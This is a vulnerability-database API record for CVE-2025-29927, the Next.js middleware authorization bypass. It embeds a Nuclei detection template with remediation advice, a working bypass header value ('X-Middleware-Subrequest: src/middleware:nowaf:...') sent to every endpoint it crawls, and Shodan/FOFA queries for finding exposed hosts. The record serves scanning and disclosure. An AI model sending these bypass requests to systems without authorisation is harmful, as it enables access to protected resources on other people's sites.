{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-29927/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-29927/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-29927/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-29927/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-29927/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-29927"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-29927"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-29927.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2025-29927\n\ninfo:\n  name: Next.js Middleware Bypass\n  author: pdresearch,pdteam,hazedic\n  severity: critical\n  description: |\n    Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.\n    The vulnerability allows attackers to bypass middleware security controls by sending a specially crafted\n    'x-middleware-subrequest' header, which can lead to authorization bypass and other security control circumvention.\n  impact: |\n    Unauthenticated attackers can bypass middleware security controls by sending crafted x-middleware-subrequest headers, potentially circumventing authorization checks and accessing protected resources.\n  remediation: |\n    Upgrade to Next.js 14.2.25 or 15.2.3 or later. If upgrading is not possible, block the x-middleware-subrequest header at the WAF or server level.\n  reference:\n    - https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware\n    - https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw\n    - https://slcyber.io/assetnote-security-research-center/doing-the-due-diligence-analysing-the-next-js-middleware-bypass-cve-2025-29927/\n  classification:\n    epss-score: 0.99225\n    epss-percentile: 0.99935\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cwe-id: CWE-287\n  metadata:\n    max-request: 1\n    shodan-query: \"x-middleware-rewrite\"\n    fofa-query: \"x-middleware-rewrite\"\n    product: next.js\n    vendor: zeit\n  tags: cve,cve2025,nextjs,middleware,auth-bypass,vkev,vuln\n\nflow: |\n    let base_check = function () {\n      return http(1) && http(2);\n    };\n\n    let endpoint_check = function () {\n      if (!http(3)) return false;\n\n      for (let endpoint_urls of iterate(template.endpoints)) {\n        set(\"endpoints\", endpoint_urls);\n        if (!(http(4) && http(5))) return false;\n      }\n\n      return true;\n    };\n    base_check() || endpoint_check()\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        X-Nextjs-Data: 1\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: header\n        regex:\n          - \"(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite):\"\n        internal: true\n\n      - type: regex\n        part: header\n        regex:\n          - \"(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite|location): .*(login|signin|auth|authenticate|unauthorized|admin|dashboard|forbidden)\"\n        internal: true\n\n      - type: status\n        status:\n          - 307\n        internal: true\n\n    extractors:\n      - type: regex\n        name: redirect_path\n        part: header\n        regex:\n          - \"(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite): (.*)\"\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        X-Nextjs-Data: 1\n        X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Request Rejected\"\n          - \"The requested URL was rejected\"\n          - \"Your support ID is\"\n          - \"Access Denied\"\n          - \"Request Blocked\"\n        negative: true\n\n      - type: status\n        status:\n          - 200\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    redirects: true\n    extractors:\n      - type: regex\n        name: endpoints\n        part: body\n        group: 1\n        regex:\n          - \"href=['\\\"](\\\\/[^\\\\.\\\"']+)['\\\"]\"\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}{{endpoints}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains_any(to_lower(header), 'x-middleware-rewrite', 'x-middleware-next', 'x-middleware-redirect') && status_code != 200\n          - contains_any(to_lower(location), 'unauthorized') && status_code != 200\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}{{endpoints}}\"\n    headers:\n      X-Middleware-Subrequest: \"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"!contains_any(to_lower(body), 'request rejected', 'your support id', 'access denied', 'request blocked')\"\n        condition: and\n# digest: 4a0a00473045022100fa7c0c03165603422f6500fc167b15ea4a74cfff09814ca298086f00db97d05f02200d9551af4d654dbf8dfc6b2d6f1981515456c97518ef2cb0a0604a06530872b1:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-29927"
}